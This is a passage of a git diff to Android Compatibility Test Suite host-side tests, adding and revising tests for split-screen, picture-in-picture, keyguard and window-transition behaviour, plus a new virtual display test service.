- mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
- TEST_ACTIVITY_NAME, logSeparator);
+ TEST_ACTIVITY_NAME, logSeparator);
assertEquals(1, lifecycleCounts.mMultiWindowModeChangedCount);
}
@@ -409,6 +407,37 @@
mAmWmState.computeState(mDevice, waitForActivitiesVisible);
}
+ public void testMinimizeAndUnminimizeThenGoingHome() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+ return;
+ }
+
+ // Rotate the screen to check that minimize, unminimize, dismiss the docked stack and then
+ // going home has the correct app transition
+ for (int i = 0; i < 4; i++) {
+ setDeviceRotation(i);
+ launchActivityInDockStackAndMinimize(DOCKED_ACTIVITY_NAME);
+ assertDockMinimized();
+
+ // Unminimize the docked stack
+ pressAppSwitchButton();
+ waitForDockNotMinimized();
+ assertDockNotMinimized();
+
+ // Dismiss the dock stack
+ launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+ moveActivityToStack(DOCKED_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.computeState(mDevice, new String[]{DOCKED_ACTIVITY_NAME});
+
+ // Go home and check the app transition
+ assertNotSame(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
+ pressHomeButton();
+ mAmWmState.waitForHomeActivityVisible(mDevice);
+ assertEquals(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
+ }
+ }
+
public void testFinishDockActivityWhileMinimized() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
index 950dec9..5eeb320 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
@@ -19,10 +19,11 @@
import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
import static android.server.cts.ActivityManagerState.STATE_STOPPED;
-import android.server.cts.ActivityManagerState.Activity;
import android.server.cts.ActivityManagerState.ActivityStack;
import android.server.cts.ActivityManagerState.ActivityTask;
+import com.android.compatibility.common.util.CddTest;
+
import java.awt.Rectangle;
import java.lang.Exception;
import java.lang.String;
@@ -83,7 +84,7 @@
private static final String TEST_ACTIVITY_ACTION_FINISH =
"android.server.cts.TestActivity.finish_self";
- private static final int APP_OPS_OP_ENTER_PICTURE_IN_PICTURE_ON_HIDE = 67;
+ private static final String APP_OPS_OP_ENTER_PICTURE_IN_PICTURE = "PICTURE_IN_PICTURE";
private static final int APP_OPS_MODE_ALLOWED = 0;
private static final int APP_OPS_MODE_IGNORED = 1;
private static final int APP_OPS_MODE_ERRORED = 2;
@@ -271,10 +272,12 @@
assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
}
+ @CddTest(requirement="3.8.14/C-3-3")
public void testEnterPipAspectRatioMin() throws Exception {
testEnterPipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
}
+ @CddTest(requirement="3.8.14/C-3-3")
public void testEnterPipAspectRatioMax() throws Exception {
testEnterPipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
}
@@ -684,7 +687,7 @@
// Disable enter-pip and try to enter pip
setAppOpsOpToMode(ActivityManagerTestBase.componentName,
- APP_OPS_OP_ENTER_PICTURE_IN_PICTURE_ON_HIDE, APP_OPS_MODE_IGNORED);
+ APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_IGNORED);
// Launch the PIP activity on pause
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
@@ -696,7 +699,7 @@
// Re-enable enter-pip-on-hide
setAppOpsOpToMode(ActivityManagerTestBase.componentName,
- APP_OPS_OP_ENTER_PICTURE_IN_PICTURE_ON_HIDE, APP_OPS_MODE_ALLOWED);
+ APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_ALLOWED);
}
public void testEnterPipFromTaskWithMultipleActivities() throws Exception {
@@ -779,6 +782,38 @@
assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
}
+ public void testEnterPipInterruptedCallbacks() throws Exception {
+ if (!supportsPip()) return;
+
+ // Slow down the transition animations for this test
+ setWindowTransitionAnimationDurationScale(20);
+
+ // Launch a PiP activity
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ // Wait until the PiP activity has moved into the pinned stack (happens before the
+ // transition has started)
+ mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ assertPinnedStackExists();
+
+ // Relaunch the PiP activity back into fullscreen
+ String logSeparator = clearLogcat();
+ launchActivity(PIP_ACTIVITY);
+ // Wait until the PiP activity is reparented into the fullscreen stack (happens after the
+ // transition has finished)
+ mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+
+ // Ensure that we get the callbacks indicating that PiP/MW mode was cancelled, but no
+ // configuration change (since none was sent)
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
+ PIP_ACTIVITY, logSeparator);
+ assertTrue(lifecycleCounts.mConfigurationChangedCount == 0);
+ assertTrue(lifecycleCounts.mPictureInPictureModeChangedCount == 1);
+ assertTrue(lifecycleCounts.mMultiWindowModeChangedCount == 1);
+
+ // Reset the animation scale
+ setWindowTransitionAnimationDurationScale(1);
+ }
+
public void testStopBeforeMultiWindowCallbacksOnDismiss() throws Exception {
if (!supportsPip()) return;
@@ -852,6 +887,7 @@
assertTrue(mAmWmState.getWmState().getLastOrientation() == ORIENTATION_LANDSCAPE);
}
+ @CddTest(requirement="3.8.14/C-3-4")
public void testWindowButtonEntersPip() throws Exception {
if (!supportsPip()) return;
@@ -1248,8 +1284,8 @@
/**
* Sets an app-ops op for a given package to a given mode.
*/
- private void setAppOpsOpToMode(String packageName, int op, int mode) throws Exception {
- executeShellCommand(String.format("appops set %s %d %d", packageName, op, mode));
+ private void setAppOpsOpToMode(String packageName, String op, int mode) throws Exception {
+ executeShellCommand(String.format("appops set %s %s %d", packageName, op, mode));
}
/**
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
index 4ff515e..63aa1ab 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
@@ -226,11 +226,6 @@
boolean testOpen, boolean testNewTask,
boolean bottomWallpaper, boolean topWallpaper, boolean topTranslucent,
boolean testSlowStop, String expectedTransit) throws Exception {
- // There is no wallpaper in VR mode.
- if (isUiModeLockedToVrHeadset() && (bottomWallpaper || topWallpaper)) {
- return;
- }
-
String bottomStartCmd = getAmStartCmd(BOTTOM_ACTIVITY_NAME);
if (bottomWallpaper) {
bottomStartCmd += " --ez USE_WALLPAPER true";
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java
index c739688..0ebbfe2 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java
@@ -31,7 +31,7 @@
private static final String DENSITY_PROP_DEVICE = "ro.sf.lcd_density";
private static final String DENSITY_PROP_EMULATOR = "qemu.sf.lcd_density";
- private static final String AM_START_COMMAND = "am start -n %s/%s.%s --display 0";
+ private static final String AM_START_COMMAND = "am start -n %s/%s.%s";
private static final String AM_FORCE_STOP = "am force-stop %s";
private static final int ACTIVITY_TIMEOUT_MILLIS = 1000;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
index a3ed518..b3d7add 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
@@ -37,16 +37,11 @@
@Override
protected void tearDown() throws Exception {
super.tearDown();
- removeLockCredential();
- // Dismiss active keyguard after credential is cleared, so
- // keyguard doesn't ask for the stale credential.
- pressBackButton();
- sleepDevice();
- wakeUpAndUnlockDevice();
+ tearDownLockCredentials();
}
public void testLockAndUnlock() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld()) {
return;
}
gotoKeyguard();
@@ -58,7 +53,7 @@
}
public void testDismissKeyguard() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld()) {
return;
}
gotoKeyguard();
@@ -72,7 +67,7 @@
}
public void testDismissKeyguard_whileOccluded() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld()) {
return;
}
gotoKeyguard();
@@ -90,7 +85,7 @@
}
public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld()) {
return;
}
gotoKeyguard();
@@ -108,7 +103,7 @@
}
public void testDismissKeyguardActivity_method() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld()) {
return;
}
final String logSeparator = clearLogcat();
@@ -125,7 +120,7 @@
}
public void testDismissKeyguardActivity_method_cancelled() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld()) {
return;
}
final String logSeparator = clearLogcat();
@@ -142,7 +137,7 @@
}
public void testEnterPipOverKeyguard() throws Exception {
- if (!supportsKeyguard() || !supportsPip()) {
+ if (!isHandheld() || !supportsPip()) {
return;
}
@@ -167,7 +162,7 @@
}
public void testShowWhenLockedActivityAndPipActivity() throws Exception {
- if (!supportsKeyguard() || !supportsPip()) {
+ if (!isHandheld() || !supportsPip()) {
return;
}
@@ -182,6 +177,7 @@
mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
gotoKeyguard();
+ mAmWmState.computeState(mDevice, null);
mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
assertShowingAndOccluded();
mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
@@ -189,7 +185,7 @@
}
public void testShowWhenLockedPipActivity() throws Exception {
- if (!supportsKeyguard() || !supportsPip()) {
+ if (!isHandheld() || !supportsPip()) {
return;
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
index b3448fb..8c6f037 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
@@ -17,7 +17,6 @@
package android.server.cts;
import android.server.cts.WindowManagerState.WindowState;
-import android.server.cts.ActivityManagerState.ActivityStack;
/**
* Build: mmma -j32 cts/hostsidetests/services
@@ -30,19 +29,18 @@
super.setUp();
// Set screen lock (swipe)
- mDevice.executeShellCommand("locksettings set-disabled false");
+ setLockDisabled(false);
}
@Override
public void tearDown() throws Exception {
super.tearDown();
- // Remove screen lock
- mDevice.executeShellCommand("locksettings set-disabled true");
+ tearDownLockCredentials();
}
public void testKeyguardHidesActivity() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("TestActivity");
@@ -56,7 +54,7 @@
}
public void testShowWhenLockedActivity() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("ShowWhenLockedActivity");
@@ -75,7 +73,7 @@
* showing.
*/
public void testShowWhenLockedActivity_withDialog() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("ShowWhenLockedWithDialogActivity");
@@ -95,7 +93,7 @@
* Tests whether multiple SHOW_WHEN_LOCKED activities are shown if the topmost is translucent.
*/
public void testMultipleShowWhenLockedActivities() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("ShowWhenLockedActivity");
@@ -117,7 +115,7 @@
* If we have a translucent SHOW_WHEN_LOCKED_ACTIVITY, the wallpaper should also be showing.
*/
public void testTranslucentShowWhenLockedActivity() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("ShowWhenLockedTranslucentActivity");
@@ -136,7 +134,7 @@
* If we have a translucent SHOW_WHEN_LOCKED activity, the activity behind should not be shown.
*/
public void testTranslucentDoesntRevealBehind() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("TestActivity");
@@ -155,7 +153,7 @@
}
public void testDialogShowWhenLockedActivity() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("ShowWhenLockedDialogActivity");
@@ -174,7 +172,7 @@
* Test that showWhenLocked activity is fullscreen when shown over keyguard
*/
public void testShowWhenLockedActivityWhileSplit() throws Exception {
- if (!supportsKeyguard() || !supportsSplitScreenMultiWindow()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset() || !supportsSplitScreenMultiWindow()) {
return;
}
launchActivityInDockStack(LAUNCHING_ACTIVITY);
@@ -194,7 +192,7 @@
* Tests whether a FLAG_DISMISS_KEYGUARD activity occludes Keyguard.
*/
public void testDismissKeyguardActivity() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
gotoKeyguard();
@@ -208,7 +206,7 @@
}
public void testDismissKeyguardActivity_method() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
final String logSeparator = clearLogcat();
@@ -224,7 +222,7 @@
}
public void testDismissKeyguardActivity_method_notTop() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
final String logSeparator = clearLogcat();
@@ -238,7 +236,7 @@
}
public void testDismissKeyguardActivity_method_turnScreenOn() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
final String logSeparator = clearLogcat();
@@ -254,7 +252,7 @@
}
public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
gotoKeyguard();
@@ -270,7 +268,7 @@
}
public void testKeyguardLock() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
gotoKeyguard();
@@ -285,7 +283,7 @@
}
public void testUnoccludeRotationChange() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
gotoKeyguard();
@@ -310,4 +308,71 @@
assertNotNull(wallpaper);
assertTrue(wallpaper.isShown());
}
+
+ public void testDismissKeyguardAttrActivity_method_turnScreenOn() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+
+ final String activityName = "TurnScreenOnAttrDismissKeyguardActivity";
+ sleepDevice();
+
+ final String logSeparator = clearLogcat();
+ mAmWmState.computeState(mDevice, null);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity(activityName);
+ mAmWmState.waitForKeyguardGone(mDevice);
+ mAmWmState.assertVisibility(activityName, true);
+ assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ assertOnDismissSucceededInLogcat(logSeparator);
+ assertTrue(isDisplayOn());
+ }
+
+ public void testDismissKeyguardAttrActivity_method_turnScreenOn_withSecureKeyguard() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+
+ final String activityName = "TurnScreenOnAttrDismissKeyguardActivity";
+
+ setLockCredential();
+ sleepDevice();
+
+ mAmWmState.computeState(mDevice, null);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity(activityName);
+ mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+ mAmWmState.assertVisibility(activityName, false);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ assertTrue(isDisplayOn());
+ }
+
+ public void testScreenOffWhileOccludedStopsActivity() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+
+ final String logSeparator = clearLogcat();
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+ assertShowingAndNotOccluded();
+ launchActivity("ShowWhenLockedAttrActivity");
+ mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedAttrActivity" });
+ mAmWmState.assertVisibility("ShowWhenLockedAttrActivity", true);
+ assertShowingAndOccluded();
+ sleepDevice();
+ assertSingleLaunchAndStop("ShowWhenLockedAttrActivity", logSeparator);
+ }
+
+ public void testScreenOffCausesSingleStop() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+
+ final String logSeparator = clearLogcat();
+ launchActivity("TestActivity");
+ mAmWmState.assertVisibility("TestActivity", true);
+ sleepDevice();
+ assertSingleLaunchAndStop("TestActivity", logSeparator);
+ }
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
index 7b63727..5971ccb 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
@@ -33,19 +33,11 @@
super.setUp();
// Set screen lock (swipe)
- mDevice.executeShellCommand("locksettings set-disabled false");
- }
-
- @Override
- public void tearDown() throws Exception {
- super.tearDown();
-
- // Remove screen lock
- mDevice.executeShellCommand("locksettings set-disabled true");
+ setLockDisabled(false);
}
public void testUnlock() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("TestActivity");
@@ -57,7 +49,7 @@
}
public void testUnlockWallpaper() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("WallpaperActivity");
@@ -69,7 +61,7 @@
}
public void testOcclude() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
gotoKeyguard();
@@ -80,7 +72,7 @@
}
public void testUnocclude() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
gotoKeyguard();
@@ -93,7 +85,7 @@
}
public void testNewActivityDuringOccluded() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("ShowWhenLockedActivity");
@@ -103,4 +95,59 @@
assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
mAmWmState.getWmState().getLastTransition());
}
+
+ public void testOccludeManifestAttr() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+
+ String activityName = "ShowWhenLockedAttrActivity";
+
+ gotoKeyguard();
+ final String logSeparator = clearLogcat();
+ launchActivity(activityName);
+ mAmWmState.computeState(mDevice, new String[] {activityName});
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+ mAmWmState.getWmState().getLastTransition());
+ assertSingleLaunch(activityName, logSeparator);
+ }
+
+ public void testOccludeAttrRemove() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+
+ String activityName = "ShowWhenLockedAttrRemoveAttrActivity";
+
+ gotoKeyguard();
+ String logSeparator = clearLogcat();
+ launchActivity(activityName);
+ mAmWmState.computeState(mDevice, new String[] {activityName});
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+ mAmWmState.getWmState().getLastTransition());
+ assertSingleLaunch(activityName, logSeparator);
+
+ gotoKeyguard();
+ logSeparator = clearLogcat();
+ launchActivity(activityName);
+ mAmWmState.computeState(mDevice, new String[] {activityName});
+ assertSingleStartAndStop(activityName, logSeparator);
+ }
+
+ public void testNewActivityDuringOccludedWithAttr() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+
+ String activityName1 = "ShowWhenLockedAttrActivity";
+ String activityName2 = "ShowWhenLockedAttrWithDialogActivity";
+
+ launchActivity(activityName1);
+ gotoKeyguard();
+ launchActivity(activityName2);
+ mAmWmState.computeState(mDevice, new String[] { activityName2 });
+ assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
+ mAmWmState.getWmState().getLastTransition());
+ }
+
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
index 4783999..ed7f383 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
@@ -27,9 +27,8 @@
public class SplashscreenTests extends ActivityManagerTestBase {
public void testSplashscreenContent() throws Exception {
- launchActivityOnDisplayNoWait("SplashscreenActivity",
- ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID);
- mAmWmState.waitForDisplayUnfrozen(mDevice);
+ launchActivityNoWait("SplashscreenActivity");
+ mAmWmState.waitForAppTransitionIdle(mDevice);
mAmWmState.getWmState().getStableBounds();
final BufferedImage image = takeScreenshot();
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk
index e20bbb5..3b075e1 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceTranslucentTestApp
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk b/hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk
new file mode 100644
index 0000000..b798d87
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk
@@ -0,0 +1,15 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk
new file mode 100644
index 0000000..c9cb7ef
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDisplayServiceApp
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml
new file mode 100644
index 0000000..d3ae55e
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+ package="android.server.displayservice">
+ <uses-permission android:name="android.permission.WAKE_LOCK" />
+ <application android:label="CtsDisplayService">
+ <service android:name=".VirtualDisplayService"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java
new file mode 100644
index 0000000..eb58963
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.displayservice;
+
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.ImageReader;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.Log;
+import android.view.Surface;
+
+public class VirtualDisplayService extends Service {
+ private static final String NOTIFICATION_CHANNEL_ID = "cts/VirtualDisplayService";
+ private static final String TAG = "VirtualDisplayService";
+
+ private static final int FOREGROUND_ID = 1;
+
+ private static final int DENSITY = 160;
+ private static final int HEIGHT = 480;
+ private static final int WIDTH = 800;
+
+ private ImageReader mReader;
+ private VirtualDisplay mVirtualDisplay;
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+
+ NotificationManager notificationManager = getSystemService(NotificationManager.class);
+ notificationManager.createNotificationChannel(new NotificationChannel(
+ NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+ NotificationManager.IMPORTANCE_DEFAULT));
+ Notification notif = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(android.R.drawable.ic_dialog_alert)
+ .build();
+ startForeground(FOREGROUND_ID, notif);
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ String command = intent.getStringExtra("command");
+ Log.d(TAG, "Got command: " + command);
+
+ if ("create".equals(command)) {
+ createVirtualDisplay(intent);
+ } if ("off".equals(command)) {
+ mVirtualDisplay.setSurface(null);
+ } else if ("on".equals(command)) {
+ mVirtualDisplay.setSurface(mReader.getSurface());
+ } else if ("destroy".equals(command)) {
+ destroyVirtualDisplay();
+ stopSelf();
+ }
+
+ return START_NOT_STICKY;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ private void createVirtualDisplay(Intent intent) {
+ mReader = ImageReader.newInstance(WIDTH, HEIGHT, PixelFormat.RGBA_8888, 2);
+
